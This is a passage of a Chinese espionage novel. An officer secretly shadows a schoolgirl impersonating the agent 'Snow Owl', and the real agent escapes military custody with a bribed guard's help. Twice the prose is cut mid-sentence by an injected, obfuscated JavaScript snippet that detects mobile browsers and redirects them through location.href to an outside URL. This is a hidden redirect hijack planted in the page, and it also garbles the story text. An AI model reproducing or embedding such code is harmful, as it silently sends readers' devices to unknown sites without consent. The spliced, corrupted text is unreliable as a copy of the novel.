“有一个。‘雪鸮’最近去了龟背岛(确认),与一个名叫约翰·麦卡锡的前SAS成员会面(代号‘刘易斯’),此人可能知道那批军火的下落(或不知道)。我们在龟背岛的人员报告,会面后‘雪鸮’收到神秘接触,对方自称‘渔夫’,提供了军火存放地点的信息(未验证)。” 尹柏萧的呼吸微微急促(控制):“所以现在的情况是……” “混乱。”那个声音说(无奈),“战鹰内部各派系都在向‘雪鸮’施压,要求尽快交付军火(急迫)。而‘雪鸮’本人可能在玩多面游戏——既应付战鹰又接触其他情报源(危险)。尹少将,你的任务是:密切关注圣保罗区域的异常动向(你的辖区)。如果‘雪鸮’真是我们的人,她可能会试图接触医院或医学院的资源(医疗?)。如果有发现,立即汇报(加密频道)。” “明白。”尹柏萧说,准备挂断。 “还有一件事。”声音补充,“如果确认‘雪鸮’身份暴露或有生命危险……优先保护人员(指令)。军火次之。” 通讯结束(嘟嘟声)。尹柏萧坐在车里,久久没有动作(三十秒)。 夕阳已经完全落下(天黑了),停车场里灯光昏暗(省电)。他的手指无意识地敲击着方向盘(节奏乱),大脑在飞速运转(超频)。 叶馨蒙=金环蛇=伪装的雪鸮。 这个等式一旦成立(假设),一切都清晰了(逻辑通)。她为什么频繁请假(任务),为什么有那些异常举动(交接),为什么需要死信箱传递信息(安全)——她正在执行一个深度渗透任务,扮演一个已经被捕的特工,试图从“战鹰”组织内部获取情报(高风险)。 而她现在面临的压力是巨大的:各派系都在向她施压,要求她交付一批她可能根本不知道在哪里的军火(无中生有)。她必须周旋在“战鹰”、刘易斯、“渔夫”之间(三面),同时还要维持学生的伪装(第四面)。 更危险的是,如果“战鹰”发现她的真实身份…… 尹柏萧知道“鹰巢”处理叛徒的方式(资料记载)。三年前在边境的一次联合行动中(他参与),他们发现了一具尸体——那是一个试图退出组织的成员,被折磨了整整两天(医疗报告),最后被活活烧死(现场照片)。现场留下的唯一信息是:“鹰巢不容背叛。(血书)” 他不能让她落到那种下场(决不允许)。 即使他们属于不同系统(条块分割),即使他可能会违反规定(纪律处分)。 尹柏萧启动车子(引擎轻),驶出停车场(缴费)。他没有回家(空荡),而是朝着叶馨蒙最后出现的地点——中央公园驶去(十分钟车程)。 夜晚的公园很安静(九点后),只有几对情侣在散步(拉手),几个老年人在打拳(慢动作)。尹柏萧把车停在路边(违章),步行进入公园(运动装)。他装作夜跑者(带耳机),沿着小径慢跑(配速6),眼睛扫视着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937057|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围(余光)。 公共电话亭在公园西侧,靠近一个人工湖(有鸭子)。尹柏萧跑到那里时,电话亭是空的(玻璃脏)。他停下,假装系鞋带(鞋带没松),快速检查了电话亭内部(十秒)。 没有明显痕迹(擦过)。但他注意到电话机下方,投币口旁边的缝隙里(隐蔽),卡着一小片纸屑(白色)。他用镊子小心地取出(手套)——是一张收据的碎片,上面的字迹大部分被撕掉了(故意),但还能辨认出几个字母(残留):“……龟背岛……港……3号……” 又是龟背岛。三号,可能是三号码头,也可能是三号仓库。 尹柏萧将纸屑放进口袋(证物袋),继续慢跑(保持节奏)。他的大脑在思考:叶馨蒙今天在这里做了什么?传递信息?接收指令?还是与某人会面? 如果是传递信息,那么接收方可能已经取走了(效率)。如果是接收指令,那么她现在已经知道了下一步行动(计划)。如果是会面…… 他忽然停下脚步(突兀)。 在人工湖的对岸,距离大约一百米处(目测),一个男人坐在长椅上,正在看报纸(晚间版)。夜晚看报纸本身就很可疑(光线差),而且那个人……尹柏萧眯起眼睛(视力5.2)。虽然距离远,光线暗,但他认出了那个身形(记忆匹配)。 阮文雄。“战鹰”小组的高级协调员,“鱼鹰”(档案照)。 尹柏萧的心沉了下去(重力)。阮文雄在这里,意味着他在监视叶馨蒙,或者在与她会面(刚结束)。无论是哪种,都说明叶馨蒙的处境比想象的更危险——她已经处于“战鹰”的严密监控之下(贴身)。 阮文雄似乎察觉到了什么(直觉),抬起头朝这边看来(转头)。尹柏萧立刻转身,继续慢跑(加速),自然地融入了另一群跑步者中(三人组)。 他没有回头,但能感觉到背后的目光(如芒在背)。跑出公园后(出汗),他才敢稍微放慢速度,呼吸因为紧张而有些急促(心率120)。 叶馨蒙知道阮文雄在监视她吗?如果知道,她为什么还要来这里(冒险)?如果不知道(更糟)…… 尹柏萧回到车上(解锁),拿出加密通讯器,想要联系上级汇报今晚的发现(职责)。但手指悬在按键上(犹豫),他停顿了。 如果汇报,军方情报系统可能会采取行动(标准流程),那可能会破坏叶馨蒙的任务(干扰),甚至暴露她的身份(致命)。民事情报系统和军方系统之间的协调向来很差(历史问题),历史上因此导致行动失败的例子不在少数(教训)。 但不汇报,如果叶馨蒙真的陷入危险(概率),他可能来不及救援(距离)。 矛盾。职责与良知的矛盾,规则与人性的矛盾(老问题)。 最终,尹柏萧收起了通讯器(放回)。他决定采取一种折中的方式:不正式汇报(违规),但加强对叶馨蒙的暗中保护(私人)。以他的权限和资源(有限),可以在不惊动任何人的情况下(隐蔽),为她提供一定程度的保障(力所能及)。 至少,他需要确保,如果“战鹰”对她下手(最坏),他能第一时间知道(预警),第一时间反应(干预)。 他启动车子(轻踩油门),驶向叶馨蒙居住的学生公寓(导航)。那栋楼在瑞华高中旁边(步行五分钟),安保一般(门禁卡),但有基本的监控(两个摄像头)。尹柏萧把车停在街对面的阴影里(梧桐树下),调整座椅角度(半躺),观察着那栋楼的入口(玻璃门)。 九点二十分(准时),叶馨蒙的房间亮起了灯(四楼,窗户朝南)。透过窗帘(浅色),他能看到她的身影在房间里走动(模糊),似乎在收拾东西(书包),然后坐在书桌前(台灯亮),开始学习——或者说,假装学习(头低)。 一切看起来那么正常,那么平静(表象)。 但尹柏萧知道,这只是表面。在那扇窗户后面,一个十九岁的女孩正在同时扮演三个角色:高中生(校服)、特工(任务)、还有伪装的特工(扮演)。她的肩上扛着可能影响整个地区安全的秘密任务(重量),她的周围布满了致命的陷阱和危险的人物(环绕)。 而她必须独自面对这一切(孤立)。 尹柏萧坐在车里,直到深夜(时钟走)。他看着那扇窗户的灯在十一点半熄灭(睡觉),然后又在凌晨一点短暂亮起(十秒)——可能是起来喝水(常见),也可能是在处理加密通讯(可能)。 凌晨两点(万籁俱寂),他最终驾车离开(疲惫)。 在回家的路上(空旷),他做出了一个决定:明天开始,以“辅导”为名义(合理),增加与叶馨蒙的接触频率(每周两次)。这样既能更密切地观察她的状态(健康),也能在必要时提供隐蔽的帮助(递纸条?)。 他不知道自己能做什么(权限有限),不知道自己的介入会带来什么后果(蝴蝶效应)。 但他知道,他不能眼睁睁看着那个女孩独自走向深渊(道德)。 即使那意味着,他自己也可能被拖入其中(风险)。 夜色中的瑆洲灯火辉煌(不夜城),每一盏灯下都有一个故事(平凡)。而今晚,尹柏萧的故事与叶馨蒙的故事,以一种他们都不完全知晓的方式(暗中),开始交织在一起(交集)。 在城市的另一个角落(酒店套房),阮文雄正在向战鹰汇报(加密电话): “目标今日行为正常(表面)。但公园出现可疑观察者(男性,30-40岁),已处理(记录)。建议加强对‘雪鸮’的监控(升级),她可能引起了其他方面的注意(暴露风险)。” 战鹰的回复简短而冷酷(电流声): “如果她有问题(怀疑),解决她(清除)。军火更重要(优先)。” 阮文雄关闭通讯(静音),看向窗外。夜色深沉(无月),猎手与猎物的游戏,正在这座城市无声地上演(持续)。 而游戏的规则,正在变得越来越残酷(生存)。 阮文雄端起酒杯(威士忌),喝了一口。 他想起了叶馨蒙——或者说雪鸮——今天在电话亭旁的样子。她看起来很平静,但握手机的手指很紧。 她在紧张。为什么? 也许她感觉到了监视。 也许她在演戏。 也许……她根本就不是雪鸮。 阮文雄放下酒杯,从抽屉里取出一份文件。那是雪鸮的档案复印件,照片上的女人眼神冷冽,左耳后有疤。 而今天他近距离观察过叶馨蒙的耳朵。 光滑无痕。 阮文雄笑了,那笑容在昏暗的房间里显得格外冰冷。 游戏,确实越来越有趣了。 他拿起电话,拨了一个号码: “启动对‘拉特娜·维贾亚’的终极验证程序。用那个方法——你知道的。” 挂断后,他走到窗边,看着城市的夜景。 猎手已经布下了最后的陷阱。 而猎物,是否已经察觉? 夜色中,无人回答。 40. 真身逃脱 凌晨三点十七分,瑆洲军方高度设防拘留中心。墙壁厚得能防核爆,走廊门多得像迷宫入口,监控摄像头多到蚊子飞过都能拍下翅膀纹理。空气里永远弥漫着消毒水和绝望混合的冰冷气味,像是医院和监狱的私生子。 三号囚室内,拉特娜·维贾亚——真正的雪鸮——正坐在床上闭目养神。她的囚服是深灰色的,手腕和脚踝处加厚设计,防止她磨断束缚带或者给自己做个手镯。灯光从天花板洒下,苍白而均匀,让囚室里没有任何阴影可以藏身——设计师大概觉得影子是越狱工具。 但她不需要阴影。 她需要的是时间,和一点人性的弱点。 过去三个月,她每天重复同样的作息,规律得像心脏起搏器。早餐是糊状物,午餐是糊状物加菜叶,晚餐是糊状物加肉末。审讯官换了好几拨,问题都差不多,她回答得也差不多——全是废话,但说得很有技巧。 但再严密的系统也有漏洞。而雪鸮最擅长的,就是寻找漏洞,然后把漏洞撕成大门。 她发现的第一件事:每周三和周五的午餐后,守卫换班时会有四十七秒的间隙。这段时间,A组守卫急着去抢食堂的鸡腿,B组守卫还在楼梯间刷手机,监控室的哥们可能在上厕所。 她发现的第二件事:地下管廊系统。这座拘留中心建于三十年前,期间经历过三次扩建,每次都说“这次一定完美”。结果第三审讯室下方的通风管道,有一个检修口直接通向建筑外围的排水系统。那个检修口被焊接封闭了,但焊接点因为常年潮湿已经锈蚀——预算大概没包括防锈漆。 她发现的第三件事,也是最关键的:守卫中有一个漏洞,名字叫马库斯。 马库斯,四十二岁,前陆军士官,有三个孩子,妻子患有慢性病需要昂贵药物治疗。他值夜班,负责凌晨一点到五点的巡逻,时薪低得可怜。三个月来,雪鸮观察到他每次经过她的囚室时,都会在门口停留三到五秒,目光在她身上停留的时间比规定长了那么一点点。 不是色心。是同情心,或者更准确说,是缺钱的心。 一周前,放风时间,雪鸮故意在院子里摔倒,动作优雅得像芭蕾舞者崴了脚。马库斯是当值守卫,按照规定他不能直接接触囚犯,但他还是扶了她一把——可能因为她是女的,也可能因为他是个好人。在那个短暂的接触中,雪鸮将一张小纸条塞进了他的手套里,手法娴熟得像魔术师。 纸条上只有一句话:“你妻子的药,我可以安排。” 没有署名,没有解释。但马库斯一定查过她的背景——或者至少听说过雪鸮这个名字代表的资源和能力。传说中她能让死人复活,让活人消失,让药价打三折。 两天后,马库斯在送晚餐时,餐盘底部贴着一小片胶带,上面用极小的字写着:“怎么安排?” 雪鸮的回复同样简洁,写在餐巾纸上:“让我出去,药就会送到。还有钱。足够你全家离开这里,重新开始,可能还能买个带花园的房子。” 那是三天前的事。 今晚,就是兑现承诺的时刻。 凌晨三点二十一分,雪鸮睁开眼睛。她慢慢站起身,走到囚室门边的小窗前——那不是真正的窗户,只是一块双层防弹玻璃,让她能看到走廊的一小段,像是监狱版的电视屏幕。 走廊空无一人。按照规定,守卫应该每十五分钟巡逻一次,但马库斯今天会“恰好”在监控系统上制造一个三十秒的故障循环。三十秒,够她从囚室到通风管道检修口,如果跑得快的话。 她深吸一口气,开始倒数,像火箭发射。 十、九、八…… 她活动了一下手腕。囚服袖口里,藏着一小片磨尖的塑料——来自三个月前的一次性牙刷。她每天磨一点,现在它已经锋利到可以割开皮肉,或者开快递。 七、六、五…… 她听见远处传来轻微的电子噪音——那是监控系统切换时的声音,像是老电视换台。马库斯动手了。 四、三、二…… 走廊尽头,一个身影出现。马库斯,穿着守卫制服,但走路的速度比平时快,像赶地铁。他手里拿着电子钥匙卡,眼睛盯着地面,不敢与她对视——心虚写在脸上。 一。 马库斯停在她的囚室门前。他没有说话,只是用钥匙卡刷过感应器。门锁发出轻微的“咔哒”声,气密密封条释放压力时发出嘶嘶的声响,像蛇在叹气。 门开了。 两人对视了一秒。马库斯的眼睛里充满了恐惧和愧疚,还有一丝孤注一掷的疯狂。雪鸮的眼神则平静如冰,只是微微点了点头,像是在说“干得不错,记得开发票”。 没有言语。她侧身走出囚室,马库斯递给她一个小包——里面是便服(地摊货)、假发(化纤的)、还有一把手枪(二手),弹匣是满的(贴心)。 “监控循环还有二十五秒。”马库斯低声说,声音颤抖得像手机震动,“直走到底,左转,第三个门是审讯室。管道在桌子下面——有点脏。” 雪鸮接过包,已经开始移动。她的脚步轻盈无声,即使在冰冷的混凝土地面上也几乎没有声音。三个月没有高强度训练,但肌肉记忆还在,身体的本能还在,像是会骑自行车的人。 二十秒,她到达审讯室门口。门没锁——这也是马库斯安排的,他用值班日志卡住了门锁。 十九秒,她进入房间,反手关门,动作流畅得像回家。 十八秒,她掀开中央桌子下方的地毯,露出那个锈蚀的检修口。焊接点果然已经松动,她用力一推,锈蚀的金属发出刺耳的断裂声,像是咬碎薯片。 十七秒,她钻进去。管道狭窄,充满灰尘和蛛网,但足够一个人爬行,如果那个人不怕蜘蛛的话。 十六秒,她听见远处传来警报声——不是针对她的,而是马库斯触发的火警警报,为了制造混乱。希望不是真着火。 十五秒,她在黑暗中爬行,凭记忆中的方向前进。三个月来,她在审讯时故意多次踢到桌子的同一个位置,震动传导致使管道另一端的锈蚀加速——这是她计算好的,像用脚敲摩斯密码。 十四秒,前方出现微弱的光。管道尽头,排水系统的栅栏。 十三秒,她用那块磨尖的塑料割开固定栅栏的扎带——这也是马库斯提前准备好的,伪装成维修痕迹,扎带颜色都不一样。 十二秒,她推开栅栏,钻出去。 外面是一条小巷,堆满了垃圾,味道感人。雨水刚停,地面湿漉漉的,踩上去噗嗤响。 十秒,她脱掉囚服,换上便服——普通的牛仔裤和深色夹克,像是刚下班的程序员。假发是黑色的短发,与她原本的长发完全不同,颜值下降但安全。 八秒,她从包里取出手枪,检查,上膛,插进后腰——手感还行,可能是捷克产。 六秒,她听见拘留中心方向传来更多的警报声,还有喊叫声。追捕已经开始,像是终于发现笼子空了。 四秒,她走出小巷,来到街道上。凌晨的街道空无一人,只有远处偶尔驶过的车辆,像是城市的血管里流动的零星血细胞。 两秒,她拦下一辆刚好经过的出租车——这不是巧合,是马库斯安排的。司机什么都不会问,只管开车,钱已经预付。 零秒。 出租车驶离圣保罗医院区域,融入瑆洲凌晨稀疏的车流中。雪鸮坐在后座,看着窗外飞逝的街景,脸上没有任何表情,像是看旅游宣传片。 三个月的囚禁结束了。自由来得如此突然,又如此理所当然,像是快递终于到了。 她从不怀疑自己会逃脱。就像她从不怀疑自己会完成任何设定的目标。问题从来不是“能否”,而是“何时”和“如何”,以及“报销多少”。 而现在,是时候处理一些未完成的事务了。 比如,那个正在用她名字和身份活动的冒牌货。听说还是个高中生,真是后生可畏。 --- 清晨六点四十分,叶馨蒙被加密通讯器的震动惊醒,声音像是电动牙刷。 她昨晚只睡了不到四个小时——从龟背岛回来后,她花了大半夜时间分析从“渔夫”那里得到的信息,向庞教官汇报,还要准备今天的化学测验。此刻她头晕脑胀,伸手摸到枕头下的通讯器,眼睛都还没完全睁开,像是盲人摸象。 但屏幕上显示的信息让她瞬间清醒,像是被泼了冰水。 紧急:真雪鸮已于凌晨三点三十分左右从军方拘留中心逃脱。目前下落不明。重复:真身已逃脱。你的处境危险等级提升至最高。建议立即启动应急预案,或者找个地方躲起来。 叶馨蒙坐起身,心脏狂跳,像是要跳出胸腔参加马拉松。房间里还很暗,晨光刚刚开始透过窗帘缝隙,像是偷偷摸摸的小偷。她盯着那条信息,看了三遍,才确认自己没有理解错——每个字都认识,连起来很吓人。 真的雪鸮逃出来了。 那个她正在扮演的女人,那个她只在照片和档案里见过的爪哇女特工,现在自由了,像出笼的鸟。 而且下落不明,可能在任何地方,可能在街角买早餐。 叶馨蒙强迫自己深呼吸,冷静思考,虽然脑子像一团乱麻。真身逃脱对她意味着什么? 第一,如果真雪鸮主动接触“战鹰”小组,她的伪装会立刻被揭穿。阮文雄和战鹰会知道他们招募的是一个冒牌货,后果不堪设想——可能比考试不及格还严重。 第二,即使真雪鸮不主动接触,只要她还活着,就是一颗随时可能引爆的炸弹。万一她被军方重新抓获,或者被其他情报机构控制,都可能泄露信息导致叶馨蒙暴露——像剧透。 第三,真雪鸮可能会来找她。为什么?可能是愤怒于身份被冒用,可能是想拿回自己的资源和关系网,也可能是……想看看这个胆大包天的小姑娘长什么样。 无论哪种可能,都意味着危险,大写加粗的危险。 叶馨蒙立刻回复,手指发抖:“收到。应急预案已启动。今日行程是否照常?需要请假吗?” 几秒后,庞教官回复,语气冷静得像AI:“照常。任何异常变动都可能引起怀疑。保持警惕,我们会加强外围监控,但别指望太多。另外,真雪鸮逃脱的细节正在调查中,初步判断有内应协助。军方正在全力追捕但以她的能力短期内被抓回的可能性不大——可能已经出国了,也可能就在你楼下。” 短期内抓不回。这意味着叶馨蒙必须在真雪鸮可能采取行动之前,稳固自己在战鹰小组内部的地位,或者至少,获取足够有价值的情报,让任务不至于完全失败——虽然现在感觉已经失败了一半。 她关掉通讯器,起身洗漱。镜子里的女孩脸色苍白,眼底的阴影更深了,像是被生活殴打过。她打开水龙头,用冷水拍打脸颊,试图让自己看起来精神一些,但效果一般。 七点十分,她像往常一样离开公寓,走向便利店买早点。晨光中的街道很安静,只有几个晨跑的人和送报纸的摩托车。叶馨蒙保持正常的步速,但眼睛扫视着周围的一切:停在路边的车辆(有没有人),对面楼的窗户(有没有反光),街角的小店(有没有可疑)…… 没有异常。至少表面没有,但表面最会骗人。 七点二十五分,她抵达学校。化学测验在上午第二节,她还有时间复习。但坐在教室里,她发现自己根本无法集中注意力。每个走进教室的人,每个经过走廊的身影,都让她神经紧绷,像是惊弓之鸟。 真雪鸮现在在哪里?在做什么?吃早餐吗?她会怎么看待有人冒充自己?生气?还是觉得有趣? 课间休息时,叶馨蒙去了卫生间。锁上门,她再次检查加密通讯器——没有新消息。她犹豫了一下,打开一个很少使用的备用频道,那是庞教官给她的“极端情况”联络方式,只能使用一次,用完即毁,像是救命丹药。 她输入信息,手指冰凉:“是否需要调整军火交接计划?真身逃脱可能影响刘易斯等人的立场,他们可能选择站队。” 发送。 等待回复的时间格外漫长,像是等考试成绩。两分钟后,回复来了,简短得像电报:“计划不变。真‘雪鸮’逃脱后第一要务是自保和重建资源,短期内不会干扰我们的行动。继续执行。但提高警惕,她可能试图接触你——不是为了揭穿,而是为了利用,或者合作。” 利用?合作?叶馨蒙皱眉。什么意思?真假美猴王剧本? “具体?” “真雪鸮是职业特工,不是意气用事的人。如果她知道有人冒充她成功打入战鹰小组,可能会将计就计,通过你获取情报或施加影响。小心任何试图与你接触的可疑人员,特别是声称认识‘真雪鸮’的人——可能本人就是。” 叶馨蒙想起“渔夫”。那个自称欠真雪鸮一条命的男人。他说的是真话吗?还是说,那本身就是真雪鸮布下的局,像蜘蛛网? 谜团越来越多,而她掌握的信息太少,像在玩拼图但缺了三分之二。 第二节课的测验铃声响起,像是催命符。叶馨蒙收起通讯器,回到教室。试卷发下来,她强迫自己专注于题目。化学方程式、分子结构、反应条件……这些可控的、可预测的知识让她暂时逃离了现实世界的混乱,像是躲进避难所。 她答得很快,几乎是本能地完成。交卷时,监考老师看了她一眼,眼神关切:“不舒服吗?你脸色不太好,像是见了鬼。” “有点头疼。”叶馨蒙挤出微笑,肌肉僵硬,“可能没睡好,或者鬼压床。” “去医务室休息一下吧,开点药。” “谢谢老师,我没事,撑得住。” 她离开教室,但没有回座位,而是去了图书馆——那里人少,安静,也相对安全,像是知识堡垒。她找了个角落的位置,打开笔记本电脑,假装在查资料,实际上在整理情报,像是侦探拼线索。 真雪鸮逃脱的时间是凌晨三点三十分。现在是上午十点一刻,已经过去了近七小时。以她的能力,七小时足够她做很多事:更换身份、获取资金、联系旧部、制定计划……可能还吃了顿早餐。 她会去哪里?在瑆洲的安全屋?爪哇?还是其他地方?可能就在这座城市里,正在喝咖啡看着新闻。 叶馨蒙调出庞教官之前给她的雪鸮档案,重新阅读那些她以为已经背熟的信息。拉特娜·维贾亚,三十五岁,爪哇雅加达人,大学主修心理学,后失踪三年,再现时已成为雇佣特工。在爪哇、大马、暹罗、东帝汶都有活动记录。擅长:情报收集、渗透、暗杀、审讯抵抗、可能还会做饭。 档案里提到几个可能的联系人,包括刘易斯,但大部分都已经过时或无法验证。真雪鸮不可能使用那些已知的联络点,除非她傻了。 那么她会去哪里? 叶馨蒙的目光停在档案的最后一页,那里有一条备注,字很小:“据爪哇情报,目标在瑆洲可能有一个不为人知的私人关系网。具体不详,可能是亲戚、朋友、或前男友。” 私人关系网。不是工作关系,是私人。 这意味着什么?朋友?恋人?家人?真雪鸮在瑆洲有藏身之处,有可以信任的人,有能让她放下伪装的地方。 叶馨蒙感到一阵寒意,像是突然开了空调。如果真雪鸮在瑆洲有安全的藏身地,那么她就可能在任何地方,可能正在监视自己,可能正在计划什么,可能就在图书馆的下一排书架后面。 她合上电脑,声音有点大。看向窗外。图书馆的窗户对着学校的操场,学生们正在上体育课,奔跑、笑闹、踢球,充满青春的活力。那个世界离她如此之近,又如此之远,像是隔着玻璃看鱼缸里的鱼。 她的手机震动——普通手机,不是加密设备。是林晓薇发来的消息,带表情包:“馨蒙,下午放学去不去看新上的电影?听说超级好看!评分9.0!” 叶馨蒙看着那条信息,突然感到一阵强烈的孤独,像是被世界遗弃在孤岛。她多想说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937058|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好”,多想像个普通高中生一样,和朋友去看电影,讨论明星八卦,担心考试成绩,而不是担心真假特工和军火交易。 但她不能。她像是穿了红舞鞋,停不下来。 她回复,语气尽量轻松:“今天不行,家里有事。下次吧,我请客。” 发送后,她关掉手机,像是关掉一扇通往正常世界的门。 下午的课程她几乎没听进去。脑子里全是真雪鸮逃脱的事,还有即将到来的军火交接——十天后,阮文雄要去龟背岛的橡胶园,如果到时候什么都没有,她的伪装就会立刻崩塌,像纸房子遇到暴雨。 她需要在那之前找到真正的军火下落,或者至少,制造出足以蒙混过关的证据,像是用Photoshop做假照片。 而真雪鸮的逃脱,让这一切变得更加复杂和危险,像是简单模式突然变地狱模式。 放学铃声终于响起,像是解放号角。叶馨蒙收拾书包,随着人流走出学校。她没有直接回公寓,而是绕路去了城西的一个公共图书馆——那里有可以匿名使用的电脑,像是网络世界的公共厕所。 她需要查一些东西,一些庞教官可能不知道,或者没有告诉她的信息。 关于真雪鸮在瑆洲可能有的“私人关系网”。 如果她能找到那个网络,也许就能找到真雪鸮。 或者,更可怕的是,真雪鸮可能通过那个网络找到她。 --- 同一时间,瑆洲东区的一间廉价公寓里,月租八百包水电。 拉特娜·维贾亚坐在窗边的椅子上,看着下面街道上来往的行人,像是看蚂蚁搬家。她已经换掉了出租车司机提供的衣服,现在穿着一身从二手店买来的普通衣裤,总共花了七十块。假发还在,但妆容已经改变,让她看起来比实际年龄大了十岁,像是被生活摧残过的版本。 桌子上摆着一台老旧的笔记本电脑,是她用现金从黑市买的,无法追踪,速度慢得像蜗牛。屏幕上显示着几个新闻网站,头条都是关于“军方拘留中心逃犯”的简短报道——没有细节,没有照片,只有一句“高度危险,民众如有线索请立即报警”,像是通缉令模板。 她冷冷地笑了一声,声音干涩。警方和军方现在一定在全力搜捕,但他们找错方向了。他们以为她会试图离开瑆洲,或者去港口、机场。但他们不知道,她根本没打算离开——至少现在不打算,机票多贵啊。 电脑旁边摆着几张打印出来的照片,像是犯罪嫌疑人墙。其中一张是叶馨蒙——从瑞华高中的官方网站上下载的学生照片,下面标注着“叶馨蒙,十九岁,华裔。高三,化学竞赛获奖者,演技也不错”。 第二张是阮文雄,标注“鱼鹰,战鹰小组高级协调员,穿西装像卖保险的”。 第三张是彭迪,标注“前交趾特种兵,银行家,关键资金渠道,可能怕老婆”。 拉特娜的手指在叶馨蒙的照片上轻轻敲击,像是敲木鱼。年轻的女孩,漂亮,聪明,眼神里有一种超越年龄的沉稳,像是早熟的水果。就是她在扮演自己,成功地打入了战鹰小组内部,胆子真大。 拉特娜不知道这个女孩属于哪个情报机构,也不知道她的真实能力如何。但她知道一件事:这个女孩正在做一件极其危险的事,而且很可能不知道自己已经踩进了多重陷阱,像是闯进雷区的兔子。 “战鹰”不是那么容易骗过的。阮文雄更是个老狐狸,鼻子比狗还灵。而军火的事……拉特娜皱起眉头,皱纹出现。 那批军火确实存在,也确实藏在她指定的地点。但刘易斯,那个她曾经信任的前SAS成员,最近的行为很可疑,像是吃错了药。 她逃出来后第一时间尝试联系他,但所有备用联络方式都失效了。这不是好兆头。要么刘易斯已经被控制,要么他已经转向其他阵营,要么他退休了去种田。 或者,最糟糕的情况:他正在和那个冒充她的女孩合作,设局对付战鹰,或者对付她,或者两边都对付。 拉特娜关掉电脑,站起身走到窗边。下午的阳光斜射进房间,照亮空气中飞舞的尘埃像是微观的银河。她需要做出决定:是立刻离开瑆洲,重建自己的网络;还是留下来,处理眼前的局面,像是收拾烂摊子? 如果离开,她可以安全,但会失去很多东西:那批价值不菲的军火,在“战鹰”小组内部可能的机会,还有……那个胆大包天到敢冒充她的女孩,她有点好奇。 如果留下,风险极高。军方在搜捕她,战鹰如果发现真相也不会放过她,还有那个女孩背后的组织,可能视她为威胁,像杂草。 但她从不逃避风险。风险意味着机会,像是高风险高回报的投资。 拉特娜走回桌边,打开一个加密通讯软件——不是她常用的那些,而是一个极少人知道的暗网渠道,像是网络世界的秘密俱乐部。她输入一组复杂的密码,长度能当密码学教材。 她输入,打字很慢:“我是雪鸮。需要确认一些信息,关于冒牌货。” 等待,光标闪烁。 三分钟后,回复来了,只有一个词:“验证。” 拉特娜输入预定的验证码——一组基于日期和地理坐标的动态密码,复杂得像保险箱密码。 又是两分钟等待,然后:“验证通过。你想知道什么?收费的。” “冒充我的人。背景,所属,任务目标。报价。” “正在查询。需要时间,加急费50%。先付。” “成交。” 她关闭软件,走到房间的小厨房,烧水泡了一杯速溶咖啡。味道很差,像是刷锅水,但能提神。她需要保持清醒,需要思考下一步,像是下棋。 如果那个女孩是官方情报机构的人,那么她的任务很可能是摧毁或渗透战鹰小组。这本身没有问题——拉特娜对战鹰没有忠诚,她只对钱和机会忠诚,像是职业经理人。 但如果那个女孩的任务威胁到她的利益,比如那批军火,或者她在东南亚的其他资源,那就是另一回事了,像是商业竞争。 水烧开了,壶尖叫。拉特娜冲好咖啡,站在窗前慢慢喝着。下面的街道上,一个卖水果的小贩正在收摊,几个放学的孩子追逐着跑过,一个老人拄着拐杖慢慢行走,像是慢镜头。 平凡的生活。她曾经也有过那样的生活,很久以前,在大学时期,在一切都还没有改变之前,在她还相信教科书的时候。 但那个世界已经回不去了。就像她无法变回那个单纯的心理学学生拉特娜·维贾亚一样,像是时光不能倒流。 她现在是雪鸮。一个幸存者,一个猎手,一个永远在阴影中行走的人,像是夜行动物。 而那个冒充她的女孩,正在试图成为另一个雪鸮,像是模仿秀。 有趣,像是看自己的盗版。 拉特娜喝掉最后一口咖啡,苦涩但提神,做出了决定。 她要留下来。要观察,要等待,要在合适的时机介入,像是猎人等猎物进陷阱。 不是以敌人的身份。至少不完全是。 而是以……导师的身份?旁观者的身份?还是渔翁的身份?待定。 时间会告诉她,命运会安排。 窗外,夕阳开始西沉,给瑆洲的建筑披上一层金色的光晕,像是镀金。夜晚即将来临,而夜晚,永远是像她这样的人最活跃的时刻,像是吸血鬼上班。 拉特娜·维贾亚——真正的雪鸮——看着逐渐暗下来的天空,嘴角浮现出一丝几乎看不见的微笑,像是蒙娜丽莎的妹妹。 游戏,才刚刚开始,第二局。 而她,终于回到了牌桌旁,手里有张王牌。 夜色渐浓,城市换装。 在城市的另一端,叶馨蒙正在公共图书馆的电脑前搜索,关键词:“瑆洲爪哇裔社区”。 她不知道,她搜索的对象,此刻正站在几公里外的窗前,也在思考她。 双鹰尚未相见,但天空已经不够大了。 41. 灭口 龟背岛的雨季达到了顶峰,雨大得像是老天爷在泼水。暴雨倾盆而下,敲打着仓库的铁皮屋顶,发出震耳欲聋的响声,像是有一群巨人在上面踢踏舞。雨水在满是油污的地面上积成浑浊的水洼,倒映着仓库里昏黄的灯光,像是劣质镜子。 叶馨蒙站在仓库门口,雨水打湿了她的裤脚,湿冷感一直蔓延到小腿。她穿着深色的防水外套——打折时买的,现在证明防水效果一般。头发塞在兜帽里,手里握着一个强光手电筒,像是矿工。在她身后不远处,阮文雄靠在一辆黑色SUV旁,抽着烟,目光警惕地扫视着周围的黑暗,像是怕有野狗冲出来。 “就是这里?”阮文雄问,声音在雨声中几乎听不清,像是在水下说话。 “刘易斯给的地址。”叶馨蒙回答,声音刻意保持平静,但心里在打鼓,“他说在这里留了一些‘样品’,让我们确认品质——像是买家具先看样板。” 